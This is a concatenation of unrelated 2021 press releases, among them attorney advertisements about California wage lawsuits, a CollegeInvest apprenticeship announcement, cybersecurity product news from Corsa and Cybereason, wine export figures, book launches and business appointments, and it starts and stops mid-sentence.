recover damages or restitution, but to create a means of "deputizing" citizens as private attorneys general to enforce the Labor Code. For more information about the lawsuit against Premier Automotive of Seaside, LLC, call (800) 568-8020 to speak to an experienced California employment attorney today. Blumenthal Nordrehaug Bhowmik De Blouw LLP is a labor law firm with law offices located in San Diego County, Riverside County, Los Angeles County, Sacramento County, Santa Clara County, Orange County and San Francisco County. The firm has a statewide practice of representing employees on a contingency basis for violations involving unpaid wages, overtime pay, discrimination, harassment, wrongful termination and other types of illegal workplace conduct. ***THIS IS AN ATTORNEY ADVERTISEMENT*** Apprenticeships are an important tool for Colorados future economy. Extending the benefits of CollegeInvest savings to more Coloradans by including expenses of apprenticeships will help create more equitable opportunities for career advancement in industries that are key to our sustained growth. CollegeInvest, Colorados self-sustaining, not-for-profit higher education savings resource announced today that Governor Jared Polis has determined that expenses associated with apprenticeship programs are considered qualified withdrawals from CollegeInvest 529 savings accounts. Polis action, effective immediately, allows for a state tax deduction for these expenses by Coloradans participating the CollegeInvest savings program. The SECURE Act of 2019 expanded the qualified use of 529 accounts at the federal level by allowing withdrawals for apprenticeships. While the federal tax code sets the general rules of qualified tuition programs like CollegeInvest, it authorizes each state to administer its own program and determine its unique state tax treatment and other policies. Apprenticeships are an important tool for Colorados future economy, commented Governor Polis. Extending the benefits of CollegeInvest savings to more Coloradans by including expenses of apprenticeships will help create more equitable opportunities for career advancement in industries that are key to our sustained growth. Angela Baier, CollegeInvests chief executive officer added, We applaud the governors decision to approve the use of CollegeInvest funds for apprenticeships as a qualified education expense. We believe this reinforces the original intent of the Colorado legislature when creating CollegeInvest as a tool for families to save and pay for post-secondary credentials. Apprenticeships provide a proven career pathway that combines education with on-the-job training while earning a paycheck, allowing students to engage with their chosen industry while earning a professional credential that boosts their earning potential. In 2020, the Colorado Department of Higher Education unveiled the Colorado Collegiate Apprentice Program, an innovative new learning model that empowers Coloradans with the hands-on career training to accelerate their education in specific fields. In partnership with the Colorado Community College system, and funded through a grant from the U.S. Department of Labor, the first learning track focused on careers in healthcare, with other industry programs to follow. The U.S. Department of Labor provides a search tool to locate eligible apprenticeship programs. When applied to an eligible apprenticeship program, CollegeInvest 529 savings can be used towards program fees, books, supplies, and equipment including the tools needed for the trade. Based on the principle that saving for post-secondary education is a vastly more effective strategy than borrowing, CollegeInvest is Colorados trusted resource in breaking down the financial barriers to attaining higher education, whether through an apprenticeship, community college, or a four-year university. Savings can even be used for online learning. Contributions made to new or existing CollegeInvest savings accounts by December 31st may be eligible for a dollar-for-dollar tax deduction on Colorado state income tax returns. For more information, please visit us at collegeinvest.org. About CollegeInvest CollegeInvest is Colorados foremost resource designed specifically to help break down the financial barriers to attaining a higher education or vocational training. By providing expert information, easy-to-use planning tools, and an exceptionally diverse menu of tax advantaged college savings plans, CollegeInvest works to help Coloradans maximize their potential to save for college. CollegeInvest currently represents $11 billion in savings and 386,000 accounts, the majority of which are held by Colorado residents. Money saved in a CollegeInvest 529 savings plan can be used at any public or private college, university, community college or vocational school, and now apprenticeships, anywhere in the country. For more information, visit collegeinvest.org or call 1-800-448-2424, or contact your financial advisor. Important Considerations To learn about CollegeInvests 529 programs, its objectives, risks, charges, expenses, limitations, restrictions and qualifications regarding the Plans benefits and potential tax advantages, please read and consider carefully the Program Disclosure Statements (PDS) available at collegeinvest.org before investing. Also, check with your or your beneficiarys home state to learn if it offers tax or other benefits for investing in its own plan. Administered and issued by CollegeInvest. CollegeInvest and the CollegeInvest logo are registered trademarks of CollegeInvest. Copyright 2021 CollegeInvest. Investment returns are not guaranteed and you could lose money, including principal. Im delighted to join Corsa Security. Were disrupting the network security market with our pioneering approach to automation and virtualization of network firewalls. Corsa Security, leaders in scaling network security, today announced the appointment of Tom Ku as Chief Technology Officer. Ku will provide technical leadership as the company continues to revolutionize network security for large networks. With extensive experience in mobile and cloud technology, Ku is ideally suited to successfully guide the Corsa Security product architecture and development as we continue to deliver new innovations for automating firewall virtualization. We are excited to have Tom join Corsa Security as CTO, says Eduardo Cervantes, CEO of Corsa Security. Hes a seasoned professional who will bring the strategic technical direction required to expand our product and help us reach the next level in our company growth. In particular, his expertise in cloud technology will be invaluable to us as we hone our turnkey network security virtualization platform. Ku joins Corsa Security from his role as co-founder and CEO of Magnet Beauty where he launched and managed a new generation of eCommerce Conversation Cloud for the multi-billion-dollar beauty industry. Ku has also founded two software technology start-ups and worked as Managing Partner at MaxVal Technology Partners, providing product direction and oversight of mobile and cloud technology investments. In addition to his B. Sc., Ku holds an MA in Marketing and an MBA in International Marketing. Im delighted to join Corsa Security, says Tom Ku. Were disrupting the network security market with our pioneering approach to automation and virtualization of network firewalls. But it doesnt stop there; weve built our platform on a SASE framework so that we can extend to other deployment scenarios and security services. Thats what Im looking forward to; solving the challenges of scaling multiple security functions for our customers to increase their business agility. About Corsa Security Corsa Security is the leader in scaling network security with the first turnkey network security virtualization platform that simplifies how large enterprises and service providers expand traffic inspection, increase threat protection and automate firewall virtualization, at much lower total cost of ownership (TCO). By tightly integrating virtualization with intelligent orchestration, Corsa Security streamlines deployment, management and migration of virtualized next generation firewalls (NGFW) for zero-touch network security operations. Customers subscribe to the Corsa Security services based on their current needs and then pay as they grow while never having to deal with the infrastructure. Learn how Corsa Security is revolutionizing network security at corsa.com. Unconditional Love: a lovely ode to true, unconditional love that will draw at the heartstrings. Unconditional Love is the creation of published authors Curt Young & Frank Snyder. Young is a loving husband and resident of East Tennessee. Snyder is a loving husband, father, and grandfather who also resides in Tennessee. An excerpt from the book shares, The authors collaborated in the book entitled Unconditional Love in an effort to show that as love develops between two people, God has His hand in nurturing these events. We make choices daily, some good and some not so good, that can stay with us for a lifetime. God has a way of interceding with these choices if you only let Him. The love between two people cannot be planned or even predicted. The sacrifice that each person must give and all the events that occur during the development is only a part of the wonderment of the true meaning of unconditional love. To be able to give up everything in life to do what is best for another person is truly a godly intercession. We look to the heavens and realize that God interceded to lead us in making the right decision. Trusting God in finding the right person to share your life with is a prayer that both Curt and Frank wish for you, resulting in you being able to say that you also have found unconditional love. Published by Christian Faith Publishing, Curt Young & Frank Snyders new book is a uniquely enjoyable work that examines the beauty of love. Young and Snyder share in hopes of inspiring others to seek an unconditional love like both authors have experienced in their lifetimes. Consumers can purchase Unconditional Love at traditional brick & mortar bookstores, or online at Amazon.com, Apple iTunes store, or Barnes and Noble. For additional information or inquiries about Unconditional Love, contact the Christian Faith Publishing media department at 866-554-0919. Cybereason, the XDR company, today announced the availability of Cybereason Extended Detection and Response (XDR) and Cybereason Endpoint Detection and Response (EDR) solutions on Google Cloud Marketplace. The AI-driven Cybereason platform delivers unprecedented protection for endpoints, user personas, cloud and application workspaces at record-setting speed and planetary scale. Google Cloud customers can now quickly deploy the Cybereason platform to better protect their organizations from sophisticated cyberattacks. Google Cloud Marketplace lets users quickly deploy functional software packages that run on Google Cloud. Google Cloud Marketplace allows customers to easily start up a familiar software package with services like Compute Engine or Cloud Storage, with no manual configuration required. The cloud-native Cybereason platform automates prevention, detection and response for complex cyberattacks as it guides analysts through security operations and incident response, enabling proactive threat hunting with precision at a pace never before achieved: Planetary-Scale Protection: AI-driven XDR combines the Cybereason MalOp, which analyzes over 23 trillion security events per week to deliver instant detection and incident response, with Google Chronicles unrivaled ability to ingest and normalize petabytes of data from the entire IT environment for planetary-scale protection. Operation-Centric Detection and Response: Instead of being alerted about individual events, users can instantly understand the entire attack progression across every device, user identity, application and cloud deployment to end them immediately. The Cybereason MalOp provides automated and guided response actions to reduce human error, upskill analysts and achieve a 10x faster time to response than competing solutions. Predict Attacker Behavior: Defenders can shift from a labor-intensive, alert-centric posture to a predictive operation-centric model. Through context-rich correlations, Cybereason XDR identifies subtle signs of malicious behavior and predicts an attackers likely next steps to anticipate and proactively block attacks. By offering AI-driven Cybereason XDR and EDR in the Google Cloud Marketplace, organizations can protect their ever-expanding attack surface and how their employees work wherever they are in the world and by predicting, understanding and ending attacks at planetary scale, said Yonatan Striem-Amit, Chief Technology Officer and Co-founder, Cybereason. The driving force behind the Cybereason platform is the patented MalOp detection engine that can analyze and correlate more than 23 trillion security events per week, revealing the full attack story across every device, user identity, application and cloud deployment to enable organizations to understand immediately if they are under attack, added Striem-Amit. Cybereason and Google Cloud are dedicated to teaming with Defenders to end cyber attacks from endpoints to the enterprise to everywhere. Learn more about Cybereason XDR and Cybereason EDR on the Google Cloud Marketplace, browse our ransomware defense resources, or schedule a demo today to learn how your organization can benefit from an operation-centric approach to security. About Cybereason Cybereason is the XDR company, partnering with Defenders to end attacks at the endpoint, in the cloud and across the entire enterprise ecosystem. Only the AI-driven Cybereason XDR Platform provides predictive prevention, detection and response that is undefeated against modern ransomware and advanced attack techniques. The Cybereason MalOp instantly delivers context-rich attack intelligence across every affected device, user and system with unparalleled speed and accuracy. Cybereason turns threat data into actionable decisions at the speed of business. Cybereason is a privately held international company headquartered in Boston with customers in more than 40 countries. Learn more: https://www.cybereason.com/ Follow us: Blog | Twitter | Facebook Media Contact: Bill Keeler Senior Director, Global Public Relations Cybereason bill.keeler@cybereason.com (929) 259-3261 Rias Baixas Exports by Market U.S. is the leading global export market for Spains most famous white region The Spanish wine region of D.O. Rias Baixas has reported record annualized sales of their renowned Albarino white wines in the U.S. market. Exports to the U.S. grew 13% by volume to reach 2.6 million liters, and 16.8% by value to $17.3 million in total sales. The U.S. continues to be the leading global export market for the Albarino wines of Rias Baixas, representing 27.5% of total share by volume. Just released by the Consejo Regulador of D.O. Rias Baixas, the regions official governing body, this all-time high in U.S. sales was accomplished from August 31, 2020 to September 1, 2021. The growth in U.S. exports reflects continued consumer appreciation of the Albarino white wines of D.O. Rias Baixas. The results are particularly noteworthy given the lasting impact of U.S. tariffs over the past year, as well as challenges in the hospitality sector related to COVID and supply chain delays. Analysts in the D.O. Rias Baixas region credit U.S. sales growth to consistent quality recognition and demand for Albarino wines. Consumers are willing to spend more for the ever-popular Albarino, a native grape variety which traces its origins to the Galician region on the Atlantic Coast of northwest Spain. Crisp and refreshing to taste with pronounced citrus, stone fruit and floral aromas, the Albarino wines of Rias Baixas are favorite selections with sommeliers and retail wine buyers. For the past ten years, D.O. Rias Baixas has consistently outperformed the Spanish wine category (as measured by volume and value growth), supported by a successful U.S. marketing and trade education campaign to position Rias Baixas as world-class white wines in the same league as France, New Zealand and other regions. The U.S. results reflect an overall positive global trend for D.O. Rias Baixas. 107 of the regions 179 wineries export wine to over 70 countries worldwide. Many of the wineries are small, family-owned ventures and exports represent a dynamic contribution to economic impact throughout Galicia. Over the period 8/31/20 to 9/1/21, worldwide exports of Rias Baixas grew 12% in volume to 9.3 million liters (or 12.4 million/750-ml bottles) and 14% in value to reach $59 million, an outstanding global sales result for the region. Perceptions of quality (as measured by increased value) are also very favorable as wineries reported an increase of 3% in the average price per liter as compared to the previous year of reporting (2019/20). To request more information about the wines of D.O. Rias Baixas, including samples, please contact Tasja Mallory, natasja@gregoryvine.com or Natascha Patterer, npatterer@gregoryvine.com. About D.O. Rias Baixas Denomination of Origin (D.O.) Rias Baixas is renowned for the Albarino grape, an indigenous variety that produces some of the worlds foremost white wines. Located in the Galicia region of northwestern Spain, the D.O. was formally established in 1988. Albarino has always been the flagship of this coastal region. In Rias Baixas unique climate, Albarino shares the same mineral-rich soils and cool climate as the worlds leading white wine regions, including Loire Valley, New Zealand and the Rhine. The USA is Rias Baixas most important export market and demand continues to grow. Click here for more information about Albarino wines from Rias Baixas. @RiasBaixasWines Maximillion Mouse: The Boat Trip: a light-hearted tale of a day in the life of an adventurous mouse. Maximillion Mouse: The Boat Trip is the creation of published author Dawn Wheeler, a loving parent, dedicated educator, and nature enthusiast. Wheeler shares, Maximillion Mouse is a fun story filled with adventure and imagination. Max experiences new and unusual things in the wilderness where he uses his creative mind to solve problems. This book is full of surprises that will delight children and adults alike. Published by Christian Faith Publishing, Dawn Wheelers new book is a fun-filled journey through nature as Max searches for food. Readers will be excited to follow along and see what happens when Maxs raft floats away and he must find a way home without it. View a synopsis of Maximillion Mouse: The Boat Trip on YouTube. Consumers can purchase Maximillion Mouse: The Boat Trip at traditional brick & mortar bookstores, or online at Amazon.com, Apple iTunes store, or Barnes and Noble. For additional information or inquiries about Maximillion Mouse: The Boat Trip, contact the Christian Faith Publishing media department at 866-554-0919. Famous Toastery, the 25-plus unit better breakfast, brunch and lunch franchise, has announced the addition of Michael Mabry to its executive team as president. Mabry will play an instrumental role in the franchises plans to reach 50 units doubling its current footprint by 2024. Mabry, whose personal and professional mantra is People. Food. Life has a love of the restaurant industry that runs deep, having been in the industry for 30 years. He has held positions in several different roles in the food and beverage world from line cook to chief operating officer to president and considers himself fortunate to have learned something in each one. Mabry brings his last 20 years experience working with franchise brands as President and Chief Operating Officer of MOOYAH Burgers, Fries & Shakes, Executive Chef and Director of Franchise Operations at Macaroni Grill, and Chief Development Officer of Fuzzys Taco Shop to Famous Toastery. He is now looking forward to working with Robert Maynard, CEO and founder, and his team at the famous better breakfast, brunch and lunch brand. I saw this as an opportunity to join a great company with a great culture and great people, Mabry stated. I have two passions in life: people and food. Famous Toastery checks both of those boxes for me. Mabry praised both Maynard and Brian Burchill, founder and CBO at Famous Toastery, for the work they have done building a phenomenal team. The food at Famous Toastery also warranted Mabrys praise, with the new president mentioning that the quality of food that's put on the plate every single day is exceptional. The 26-unit restaurant franchise, having made it through the pandemic without sacrificing quality, is now preparing for more growth into new territories. Maynard is confident that Mabrys addition to the leadership team will propel the brands success as it grows out of its headquarters market of Charlotte, closing out the Carolinas and further expanding into Virginia and Tennessee. We are at a better point than ever before to enter new markets, especially beginning around our home-base territory of North Carolina, where consumers know us, said Maynard. With this strong foundation we already have, were poised for growth. And with expert guidance from Mabry, someone who knows nearly every aspect of the franchise and restaurant industry, we have a winning team. Mabry agrees with Maynards approach to expanding the business starting with the territories in and around the Carolinas. The Carolinas and a few adjoining states will have that base of consumers that recognize the brand after all, its famous in North Carolina. And, one of the things that we feel is important is to get famous in our current markets and in our current region before we start to expand too far out of it, Mabry said. Quite frankly, the amount of guests that come in from other towns in the Carolinas and express interest in having the franchise in their towns gives us input to consider. We're really just listening to what our consumers are telling us, looking at the demand and making the strategic decisions along the way. With a marketing plan to saturate the Carolinas, Virginia and Tennessee, Maynards vision is to sell eight to 10 deals in 2022 and to feasibly open four to six restaurants next year. Looking long-term into 2024, the brand is aiming to have 50 locations open. The rollout strategy is to first target Charlotte, then the Research Triangle, then the Blue Ridge Mountains and then any other areas of possibility. Maynard expects this organic approach to attract a diverse group of potential franchisees who bring an entrepreneurial spirit to the brand. And this is one of the most exciting parts for Maynard. Finding the right person is really exciting, and giving them the right tools is exciting, but were going to be patient and grow in a smart way with the right partners, he said, as he looks toward expanding the franchise system. The role Mabry is in is one he described as fluid, where he can work with a strong, agile team to accomplish big goals using his decades of experience. Im here to help bolster what's already a great and thriving brand and maybe use some of my experiences, said Mabry. Ive had successes and mistakes over the past 30 years. I've made a lot of mistakes. So I know what to look for when it comes to those mistakes. I want to continue to drive the winning culture of this brand that Robert and I feel so strongly about. And quite frankly, we want the brand to grow to be famous, hence the name Famous Toastery. ABOUT FAMOUS TOASTERY Charlotte, N.C.-based Famous Toastery began in 2005 in a small house-turned-restaurant where best friends Brian Burchill and Robert Maynard opened their first breakfast spot. Never compromising fresh ingredients or friendly service, Famous Toastery evolved into a franchise system in 2013 and now has over 25 locations. In 2020 and 2019, Famous Toastery placed on Restaurant Business' The Future 50, featuring the fastest-growing small chains. Famous Toastery was ranked No. 9 in the Full-Service Restaurants category of Entrepreneur Magazines Top Food Franchises of 2019 and on Entrepreneur Magazine's Franchise 500 Rankings in 2019. In 2018, Famous Toastery received recognition by CNBC as a top franchise to buy, FSR Magazine as one of the Top 14 restaurant chains ready for lift-off, Inc. 5000s list of the fastest growing companies and Franchise Times' Top 200+ franchise opportunities. For more information about Famous Toastery, visit http://www.famoustoastery.com. To learn about franchising opportunities, please visit http://www.ownatoastery.com. This recognition by district leaders serves as a testament to our decade-long dedication to best-in-results-driven support for the students we serve. FEV Tutor was selected as an inaugural 2021 Supes Choice Awards winner in the Virtual Instructional Experience category. The awards were presented by the Institute for Education Innovation (IEI), an organization that serves as the bridge between district leaders and organizations to support the greatest challenges in K-12 education. FEV Tutor was selected by a panel of esteemed superintendent judges from across the nation. Their assessment was based on FEV Tutors commitment to student outcomes, innovation and ingenuity, client support, interactivity, and engagement. The Supes Choice Awards are the only industry awards judged exclusively by school district superintendents. We are honored to be recognized by the Supes Choice Awards as the inaugural winner in the virtual instruction experience category for our commitment to high-impact online tutoring, said Ryan Patenaude, Sr. Vice President and Co-Founder of FEV Tutor. This recognition by district leaders serves as a testament to our decade-long dedication to best-in-results-driven support for the students we serve. We provide continuous data-driven individualized learning plans with designated tutors; 24/7 homework and coursework support as well as test prep tutoring to effect positive change for priority students. One judge commented, Individualized learning plans are crucial to differentiate the instructional needs of students. This directly addresses specific learning loss of individual students. Another judge applauded the tutoring platform, stating, I love that help is available whenever students need it. Kudos to them for aligning it to ESSA expectations for research-based strategies. It is data driven, and districts would appreciate that tremendously as they can show student progress across time. This new award closes out a winning year for FEV Tutor. In addition to the 2021 Supes Choice Award, the company has also won the EdTech Digests Cool Tool 2021 Award for Best Tutoring Solution and the 2021 Tech Edvocate Award winner for Best Tutoring/Test Prep App or Tool. At IEI, we are committed to improving students outcomes and supporting effective, sustainable solutions to age-old problems in education, said Doug Roberts, founder and CEO, Institute for Education Innovation. The Supes Choice Awards provide a very unique opportunity for companies to not only get their products and solutions in front of district decision-makers, but to also pursue recognition for their work with a prestigious, new industry award. Recipients of the Supes Choice Award were recognized at a hybrid gala held on December 9, 2021, where the judges gathered in New York City and the event was live-streamed for all award applicants. Along with the designation of being the winner, companies were provided with written and verbal feedback during the judging process. Gathering insight from district leaders has been a unique and valuable experience with Supes Choice. The full list of winners and finalists can be found here http://www.supeschoice.com. About the Institute for Education Innovation Superintendents are defenders of our childrens right to a high-quality public education, and lead their teams toward effective, sustainable solutions to age-old problems. They must be at the center of discussions around when, where, and how innovation will affect teaching and learning. Many education solution providers, funders, researchers, and thought leaders are mission-driven: they do what they do to improve student outcomes. The Institute for Education Innovation bridges gaps between the individuals and organizations committed to seeing students succeed in school and life, creating a safe space for constructive problem-solving and innovative thinking. http://www.instituteforedinnovation.com. About FEV Tutor Based in Boston, FEV Tutor is the leading research and evidence-based online tutoring platform working nationally to effect change in K-12 education. Its ESSA-approved programs are strategically designed in close collaboration with each partner school, district, charter school, and other organizations to accelerate learning for every student. FEV Tutor leverages technology to deliver 1:1 high-impact and transformative personalized learning pathways through live, virtual tutoring sessions. For more information on FEV Tutor, visit fevtutor.com or follow on Twitter. # # # We are honored to welcome Jake Goeckeritz into the community. Our mission with Forbes Councils is to bring together proven leaders from every industry, creating a curated, social capital-driven network that helps every member grow professionally and make an even greater impact on the business world. Jake Goeckeritz, vice president of marketing at Fishbowl, the No. 1 requested desktop and online manufacturing and warehouse management solution for QuickBooks users, has been accepted into Forbes Communications Council, an invitation-only community for executives in communications, marketing and public relations. Goeckeritz was vetted and selected by a review committee based on the depth and diversity of his experience. Criteria for acceptance include a track record of successfully impacting business growth metrics as well as personal and professional achievements and honors. We are honored to welcome Jake Goeckeritz into the community, said Scott Gerber, founder of Forbes Councils, the collective that includes Forbes Communications Council. Our mission with Forbes Councils is to bring together proven leaders from every industry, creating a curated, social capital-driven network that helps every member grow professionally and make an even greater impact on the business world. Graduating with an emphasis in both psychology and marketing, Goeckeritz leveraged his education to develop an updated approach to SEO that he has used at companies like Entrata, Banyan and Weave. He has also spent time working at a consulting firm where he built marketing strategies for Fortune 500 companies like GE, Grundfos, HBO and more. Goeckeritz now leads the marketing for Fishbowl, a company that has been streamlining the entire inventory process for the past 20 years. In just one year at Fishbowl, Goeckeritz and his team have spearheaded a complete company rebrand, redesigned the brands website and logo, organized the companys first virtual summit (producing over 9,000 registrants), successfully launched a brand-new SaaS online product and created a new Salesforce funnel that is helping shatter company sales records. Before his arrival, revenue averaged 12% growth; since his coming onboard, revenue is at 40% growth due to marketing efforts instituted by Goeckeritz and his team, without any additional funding or added sales reps. Goeckertiz looks forward to sharing insights into his service-oriented leadership style, the symbiotic relationship between marketing and sales, fostering teamwork, successful hiring practices, thoughts on mentorship and giving back to the community as well as innovations in marketing in forthcoming columns. I am excited for the opportunity to join the Forbes Communications Council and represent our fabulous team at Fishbowl, Goeckeritz said. This group of executives offers great value to the business community, and I look forward to sharing insights from my own personal experiences. My participation will help cement Fishbowls leadership role in our community and industry. Goeckeritzs first column, Four Tips For Forecasting In the Coming Year, is now live at Forbes.com. ABOUT FORBES COUNCILS Forbes Councils is a collective of invitation-only communities created in partnership with Forbes and the expert community builders who founded Young Entrepreneur Council (YEC). In Forbes Councils, exceptional business owners and leaders come together with the people and resources that can help them thrive. For more information about Forbes Communications Council, visit forbescommcouncil.com. To learn more about Forbes Councils, visit forbescouncils.com. ABOUT FISHBOWL Based in Orem, Utah, Fishbowl, which was recently acquired by Los Angeles-based Diversis Capital Management, is the No. 1 requested desktop and online manufacturing and warehouse management solution for QuickBooks, as well as a popular standalone solution for organizations or enterprises looking to track assets. To learn more, visit fishbowlinventory.com. The Aspen Mountain Residences Our close-knit group of owners felt it was important to bring our property closer to the local community, which includes trying to source most everything from the surrounding area. Grand Aspen Resort Condominium Association board of directors and owners announced today The Aspen Mountain Residences, a reintroduction and rebranding of the property formerly known as the Hyatt Grand Aspen. Located in the center of Aspens front-row, steps from Aspens iconic Ajax Mountain and its gondola, The Aspen Mountain Residences are private fractional condominium accommodations ranging from studios through four-bedroom units, all with fireplaces and private balconies offering front row panoramic mountain views, well-appointed kitchens, spa tubs and steam showers. High-touch guest services include dedicated concierge, ski valet, bike and sport rental, and additional resort amenities include outdoor pool, shared and private hot tubs and Aspens well known Silver Circle ice rink, a cherished wintertime gathering place for owners and the Aspen community. Our close-knit group of owners felt it was important to bring our property closer to the local community, which includes trying to source most everything from the surrounding area. This includes our employees and vendors wherever we can, said Al Kenney, President of The Aspen Mountain Residences Condo Association, Inc. After an exhaustive national search of many highly qualified management companies, the board selected East West Hospitality who is well known in the valley not only for their presence in Snowmass Base Village, but also known for their Colorado roots and their commitment and investment in their employees. East West Hospitality begins managing the property today. They will report directly to the board, delivering on a culture which will be increasingly collaborative, entrepreneurial and transparent. Partnering with East West Hospitality further establishes our investment in the community for the owners of this iconic Aspen property. Id like to thank Hyatt Management team for our a successful 16-year relationship and thank them and East West Hospitality for helping to make the complex transition, a very smooth 90-day process, Kenney said. "We are thrilled to welcome The Aspen Mountain Residences to the East West Hospitality family as our newest Aspen property, a prestigious complement to our growing portfolio of destinations that deliver exceptional experiences for travelers," said Colleen Weiss-Hanen, President and Chief Executive Officer, East West Hospitality. For more information about The Aspen Mountain Residences, please visit here. Facebook & Instagram For more information about East West Hospitality, please visit here. Facebook & Instagram Media Contact: Murphy OBrien Public Relations Brandon Muratalla | Rachel Farnham 203-733-1023 The 500-person team we've built over the past four years reflects not only how aggressively our organization has grown and scaledeven in the midst of a pandemicbut also how values like diversity, equity and inclusion, as well as trust and humility resonate with team members. Harness, the only end-to-end platform for complete software delivery, was recognized as one of the 25 Highest-Rated Private Cloud Computing Companies To Work For in a list released by Battery Ventures, a global investment firm and cloud investor, with data specifically provided by Glassdoor*, the worldwide leader on insights about jobs and companies. The list highlights 25 privately held companiesall business-to-business, cloud-computing companieswhere employees reported the highest levels of satisfaction at work during the 12 months ending on October 31, 2021 according to employee feedback shared on Glassdoor. Harness achieved an overall company rating of 4.45 in the rankings. The broader average across Glassdoor is 3.7. The companys senior-leadership rating was 3.81, compared to the Glassdoor average of 3.3, while its positive business-outlook ratingindicating the percentage of employees who believe their employers business will get better in the next six monthswas 88.24. That compared to an average across Glassdoor of 54%. Full lists of The Battery Highest-Rated Public and Private Cloud Companies To Work For can be found here. Battery Ventures is an investor in Harness. This is the fifth year Battery has issued a version of its highest-rated cloud companies list, along with a related ranking of the 25 Highest-Rated Public Cloud Computing Companies To Work For. The rankingswhich this year come as many companies continue to face workplace challenges associated with the Covid-19 pandemic, including remote and hybrid workhighlight the global trend of businesses increasingly turning to the cloud to run critical technology systems and software, instead of using on-premise systems. While the pandemic has accelerated the businesses of many cloud companieswhose products often help fuel digital transformationmany cloud CEOs are still grappling with how to build great corporate cultures, hire the best employees and retain them in an incredibly fast-changing and unpredictable business environment, said Neeraj Agrawal, a Battery Ventures general partner who specializes in cloud investing. The companies on this list should feel proud of their success building positive cultures and promoting employee satisfaction, which often translates into financial success. They really are modeling best practices for other organizations across the economy. We're humbled to have earned a spot in the Battery/Glassdoor highest-rated cloud companies list, said Luan Lam-Chen, chief people officer at Harness. The 500-person team we've built over the past four years reflects not only how aggressively our organization has grown and scaledeven in the midst of a pandemicbut also how values like diversity, equity and inclusion, as well as trust and humility resonate with team members. Glassdoor noted that employees at these highly rated companies commonly mention in online reviews that they enjoy working for mission-driven companies with strong and unique company cultures; employers that promote transparency; and companies with experienced senior leaders who regularly and clearly communicate with employees. About Harness Harness is the only end-to-end platform for complete software delivery. It provides a simple, safe and secure way for engineering and DevOps teams to release applications into production. Harness uses machine learning to detect the quality of deployments and automatically roll back failed ones, saving time and reducing the need for custom scripting and manual oversight, giving engineers their weekends back. Harness is based in San Francisco. More at harness.io and follow @harnessio on Twitter. About Battery Ventures Battery partners with exceptional founders and management teams developing category-defining businesses in markets including software and services, enterprise infrastructure, online marketplaces, healthcare IT and industrial technology. Founded in 1983, the firm backs companies at all stages, ranging from seed and early to growth and buyout, and invests globally from six strategic locations: Boston; San Francisco and Menlo Park, Calif.; Herzliya, Israel; London; and New York. Follow the firm on Twitter @BatteryVentures and find a full list of Battery's portfolio companies here. *By a company name, denotes a Battery investment. For a full list of all Battery investments and exits, please click here. Thanks to the generosity of participating buildings, their tenants, and BOMA members, the Lyceum group collected an estimated 1,000+ toys for donation to Operation Stocking Stuffer. The Houston Building Owners and Managers Association (Houston BOMA) hosts an annual Leadership Lyceum program designed to develop the leadership skills of new and growing professionals in the property management field of the commercial real estate industry. At the end of the annual program, the group chooses a capstone project to put their new skills to use while benefiting the community. Houston BOMAs Lyceum Class of 2021 decided to host a member-wide toy drive supporting the Houston Fire Departments Operation Stocking Stuffer. The Lyceum assisted 54 office buildings in hosting toy drives by providing marketing materials, signage, and donation pickup. Thanks to the generosity of participating buildings, their tenants, and BOMA members, the group collected an estimated 1,000+ toys for donation to Operation Stocking Stuffer. This campaign was our largest charity drive ever, far exceeding the groups goal of collecting 350 gifts. We are so proud of these outstanding members for helping to bring joy to families in need during these difficult times. We want to thank our members, building participants, and Leadership Lyceum Class of 2021 for making this campaign so successful. Houston BOMA also extends our sincere appreciation to the Houston Fire Department for their ten years of partnership with our organization, and for coordinating the transportation and pick-up of the donations. If you would like to know more about the Shake Shack lawsuit, please contact Attorney Jackland K. Hom today by calling (619) 255-9047. The Northern California labor law attorneys, at Zakay Law Group, APLC and JCL Law Firm, APC, filed a class action complaint against Shake Shack Enterprises, LLC ("Shake Shack"), for allegedly failing to accurately pay employees' wages for all their time worked. The Shake Shack class action lawsuit, Case No. 21CV002063, is currently pending in the Alameda County Superior Court of the State of California. A copy of the complaint can be read here. According to the lawsuit, Shake Shack allegedly violated California Labor Code Sections 201, 202, 203, 204, 206.5, 226, 226.7, 510, 512, 558, 1194, 1197, 1197.1, 1198, and 2802 by failing to: (1) pay overtime wages; (2) pay minimum wages; (3) provide required meal and rest periods; (4) provide accurate itemized wage statements; (5) reimburse employees for required expenses; (6) pay reporting time wages; and (7) pay wages when due. The lawsuit also alleges Shake Shack violated the Private Attorneys General Act ("PAGA"), which gives rise to civil penalties as a result of Shake Shack's conduct. PAGA allows aggrieved employees to file a lawsuit to recover civil penalties on behalf of themselves, other employees, and the State of California for Labor Code violations. An "aggrieved employee" is defined as "any person who was employed by the alleged violator and against whom one or more of the alleged violations was committed." Cal. Lab. Code section 2699(c). PAGA allows aggrieved employees to become deputized as private attorneys general to enforce the Labor Code. If you would like to know more about the Shake Shack lawsuit, please contact Attorney Jackland K. Hom today by calling (619) 255-9047. Zakay Law Group, APLC and JCL Law Firm, APC are labor and employment law firms with offices located in California that dedicate their practices to fighting for employees who have been wronged by their employers due to unfair employment practices. Contact one of their attorneys today if you need help with workplace issues regarding wage and hour, wrongful termination, retaliation, discrimination, and harassment. -THIS IS AN ATTORNEY ADVERTISEMENT- The first CyberAg Symposium held with the convention, was held pre-conference and addressed being prepared for growing threats with cybersecurity, even in the ag community. But I have hope for the future because Farm Bureau members are resilient as we grow a safe and sustainable food, fiber and fuel supply and put in the time to create the policies that will help us grow a better tomorrow. The Maryland farming community reunited and learned from high-profile guests, and about current issues, such as the The Center for Food Integrity and the next U.S. farm bill. The Maryland Farm Bureau Annual Convention and Meeting of Delegates and CyberAg Symposium was held last week in Cambridge at a new venue accommodating their large turnout this year. Highlights included adopting and updating policy, recognizing members achievements on the state and national level, networking over awards presented, and the election of officers. Among the keynote speakers, American Farm Bureau President Zippy Duvall said, In my travels across our great land, I have seen farmers and ranchers dedication to their farms and communities. I have also seen the challenges we face across farm country, from natural disasters to government regulation and everything in between. But I have hope for the future because Farm Bureau members are resilient as we grow a safe and sustainable food, fiber and fuel supply and put in the time to create the policies that will help us grow a better tomorrow. The first CyberAg Symposium held with the convention, was held pre-conference and addressed being prepared for growing threats with cybersecurity, even in the ag community. The Maryland Farm Bureau Cyber Sunday event allowed us to fulfill our mission of outreach, awareness and education to the food/ag supply chain about cyber threats, said Andrew Rose, managing director of CyberAg. Attendees learned who the ag adversaries are, what they want, how they attack, how to mitigate/respond, and what threats are coming next. Because of the help and support of the Maryland Farm Bureau, the level of cybersecurity awareness has been raised in the agricultural community. Awards For the first time, both a male and female Ag Ambassador were chosen in place of the past Miss Maryland Agriculture 